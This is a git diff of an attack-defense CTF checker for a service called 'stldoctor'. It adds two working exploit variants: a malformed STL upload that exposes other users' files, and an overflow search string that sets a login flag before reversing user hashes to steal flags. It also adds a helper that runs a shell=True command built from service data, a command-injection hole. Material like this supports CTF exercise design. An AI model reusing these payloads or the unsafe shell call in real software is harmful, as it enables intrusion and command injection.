diff options
Diffstat (limited to 'checker/src/checker.py')
| -rw-r--r-- | checker/src/checker.py | 189 |
1 files changed, 134 insertions, 55 deletions
diff --git a/checker/src/checker.py b/checker/src/checker.py index 9d9124a..46f91ce 100644 --- a/checker/src/checker.py +++ b/checker/src/checker.py @@ -1,60 +1,76 @@ #!/usr/bin/env python3 from enochecker import BaseChecker, BrokenServiceException, EnoException, run from enochecker.utils import SimpleSocket, assert_equals, assert_in -import random, string, struct, logging, selectors, time, socket +import os, random, string, struct, subprocess, logging, selectors, time, socket import numpy as np logging.getLogger("faker").setLevel(logging.WARNING) logging.getLogger("pwnlib").setLevel(logging.WARNING) +logging.getLogger("_curses").setLevel(logging.CRITICAL) from faker import Faker +evil_file = b""" +solid test\xff +facet normal 0 0 1.0 + outer loop + vertex 1 0 0 + vertex 1 1 0 + vertex 0 1 0 + endloop + endfacet +endsolid +""" + def ensure_bytes(v): if type(v) == bytes: return v elif type(v) == str: - return v.encode("latin-1") + return v.encode() else: raise BrokenServiceException("Tried to pass non str/bytes to bytes arg") class STLDoctorChecker(BaseChecker): + service_name = "stldoctor" + port = 9090 + flag_variants = 2 noise_variants = 2 havoc_variants = 4 - service_name = "stldoctor" - port = 9000 + exploit_variants = 2 - debuglog = True + prompt = b"$ " def login_user(self, conn, password): self.debug("Sending command to login.") - self.write(conn, f"login\n{password}\n") - conn.readline_expect(b"logged in!", recvuntil=b"$", exception_message="Failed to log in") + conn.write(f"login\n{password}\n") + conn.readline_expect(b"logged in!", recvuntil=self.prompt, exception_message="Failed to log in") def write(self, conn, buf): - if self.debuglog: - print("SEND: " + str(ensure_bytes(buf))) + self.debug("SEND: " + str(ensure_bytes(buf))) conn.send(ensure_bytes(buf)) def fakeid(self): fake = Faker(["en_US"]) allowed = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmopqrstuvwxyz0123456789-+.!" - return "".join([c for c in fake.name().replace(' ','') if c in allowed][:60]).ljust(10, '.') + idstr = "".join([c for c in fake.name().replace(' ','') if c in allowed][:60]).ljust(10, '.') + idstr += "".join([random.choice(allowed) for i in range(5)]) + return idstr def havocid(self): idlen = random.randint(10, 60) return "".join([chr(random.randint(32, 127)) for i in range(idlen)]) def do_auth(self, conn, authstr): - self.write(conn, f"auth {authstr}\n") - resp = conn.recvuntil("$") + conn.write(f"auth {authstr}\n") + resp = conn.recvuntil(self.prompt) authstr = ensure_bytes(authstr) - assert_in(b"Success!", resp, f"Login with pass {authstr} failed!"); + assert_in(b"Success!", resp, f"Login with pass {authstr} failed"); def check_listed(self, conn, modelid): modelid = ensure_bytes(modelid) - self.write(conn, "list\n") - resp = conn.recvuntil("$") + conn.write("list\n") + resp = conn.recvuntil(self.prompt) assert_in(modelid, resp, f"Uploaded model is missing from list command") def genfile_ascii(self, solidname): @@ -113,58 +129,56 @@ class STLDoctorChecker(BaseChecker): else: raise EnoException("Invalid file type supplied"); - def putfile(self, conn, modelname, solidname, filetype): + def putfile(self, conn, modelname, solidname, filetype="ascii", stlfile=None): solidname = ensure_bytes(solidname) modelname = ensure_bytes(modelname) # Generate file contents - stlfile = self.genfile(filetype = filetype, solidname = solidname) + if stlfile is None: + stlfile = self.genfile(filetype, solidname) # Upload file self.debug("Sending command to submit file") - self.write(conn, "upload\n") - self.write(conn, f"{len(stlfile)}\n") - self.write(conn, stlfile) - self.write(conn, modelname + b"\n") + conn.write("upload\n") + conn.write(f"{len(stlfile)}\n") + conn.write(stlfile) + conn.write(modelname + b"\n") # Parse ID - print(conn.recvuntil("with ID ")) + self.debug(conn.recvuntil("with ID ")) modelid = conn.recvuntil(b"!")[:-1] - if modelid == b"": + if modelid == "": raise BrokenServiceException("Unable to upload file!") - self.debug(f"Got ID {modelid}") - - conn.recvuntil(b"$") + self.debug(f"Uploaded file with {modelid}") - if self.debuglog: - print(f"PUT FILE: {modelid}") + conn.recvuntil(self.prompt) return stlfile, modelid - def getfile(self, conn, modelname): + def getfile(self, conn, modelname=None, download=True): modelname = ensure_bytes(modelname) self.debug(f"Sending command to retrieve file with name {modelname}") - self.write(conn, "search\n") - self.write(conn, modelname + b"\n") - self.write(conn, "0\n") # first result - self.write(conn, "y\n") # yes download - - resp = conn.recvuntil(b"Here you go.. (") - print(resp) - try: - size = int(conn.recvuntil(b"B)\n")[:-3]) - except: - print("GOT INSTEAD:", conn.recvall(timeout=0)) - raise BrokenServiceException("Returned file content size for download is not a valid integer") - - print("FILE SIZE:", size) - contents = conn.recvn(size) - if self.debuglog: - print("GOT FILE:\n" + str(contents)) - - conn.recvuntil("$") # clean up rest - return resp + contents + conn.write("search\n") + conn.write(modelname + b"\n") + conn.write("0\n") # first result + conn.write("y\n" if download else "\n") + + resp = conn.recvuntil("==================") + if download: + resp += conn.recvuntil(b"Here you go.. (") + try: + size = int(conn.recvuntil(b"B)\n")[:-3]) + except: + raise BrokenServiceException("Returned file content size for download is not a valid integer") + + self.debug(f"Download size: {size}") + contents = conn.recvn(size) + self.debug("File contents:\n" + str(contents)) + resp += contents + + conn.recvuntil(self.prompt) + return resp def check_getfile(self, conn, modelname, solidname, contents, modelid = None): resp = self.getfile(conn, modelname = modelname) @@ -213,18 +227,19 @@ class STLDoctorChecker(BaseChecker): self.check_listed(conn, modelid) self.closeconn(conn) + def reverse_hash(self, hashstr): + return subprocess.check_output(os.getenv("REVHASH_PATH") + f" \"{hashstr}\"", shell=True)[:-1] + def openconn(self): import pwnlib.tubes.remote self.debug(f"Connecting to service at {self.address}:{self.port}") conn = pwnlib.tubes.remote.remote(self.address, self.port, timeout = self.timeout) - resp = conn.recvuntil("$") # ignore welcome - if self.debuglog: - print("WELCOME:",resp) + resp = conn.recvuntil(self.prompt) return conn def closeconn(self, conn): self.debug("Sending exit command") - self.write(conn, "exit\n") + conn.write("exit\n") conn.close() def putflag(self): # type: () -> None @@ -312,9 +327,73 @@ class STLDoctorChecker(BaseChecker): def exploit(self): # type: () -> None if self.variant_id == 0: - pass + name = self.fakeid() + + conn = self.openconn() + resp,mid = self.putfile(conn, name, name, stlfile=evil_file) + self.debug(f"Evil file: {mid}") + self.closeconn(conn) + + conn = self.openconn() + resp = self.getfile(conn, name, download=False) + self.debug(str(resp)) + conn.write("search last\n") + filelist = [l.strip().split(b" : ") for l in conn.recvuntil("?").split(b"\n") if b" : " in l] + + found = None + for i in range(len(filelist)): + self.debug(b"Retrieving file " + filelist[i][0] + b": " + filelist[i][1]) + conn.write(filelist[i][0] + b"\ny\n") + fileinfo = conn.recvuntil(self.prompt) + self.debug("File contents:\n" + fileinfo.decode("latin1")) + found = self.search_flag_bytes(fileinfo) + if found is not None or i == len(filelist) - 1: + break + self.getfile(conn, name, download=False) + conn.write("search last\n") + conn.recvuntil("?") + self.closeconn(conn) + + if found is None: + raise BrokenServiceException("Exploit for flagstore 1 failed") + return found elif self.variant_id == 1: - pass + conn = self.openconn() + conn.write(b"search \xff\xff\xff\xff\xff0000000000000000\n") + conn.recvuntil(self.prompt) + conn.write("auth\n") + assert_in(b"Already logged in!", conn.recvuntil(self.prompt), "Exploit did not set 'loggedin' variable via overflow") + conn.write("list\n") + resp = conn.recvuntil(self.prompt) + self.debug(resp) + users = [l.split(b" .")[1] for l in resp.split(b"\n") if b">> ." in l] + self.closeconn(conn) + + conn = self.openconn() + found = None + for u in users: + self.debug(f"Logging in as user with id {u}") + user = self.reverse_hash(u.decode()) + if user == b"": + raise BrokenServiceException("Failed to find hash preimage") + self.debug(f"Hash preimage: {user}") + conn.write(b"auth " + user + b"\n") + resp = conn.recvuntil(self.prompt) + self.debug(resp) + if b"Welcome back" not in resp: + raise BrokenServiceException("Revhash returned invalid preimage") + conn.write("list\n") + resp = conn.recvuntil(self.prompt) + self.debug(resp) + names = b"\n".join([l.split(b": ", 1)[1] for l in resp.split(b"\n") if b"Solid Name: " in l]) + found = self.search_flag_bytes(names) + if found is not None: + break + self.closeconn(conn) + + if found is None: + raise BrokenServiceException("Exploit for flagstore 2 failed") + return found else: raise EnoException("Invalid variant_id provided") |
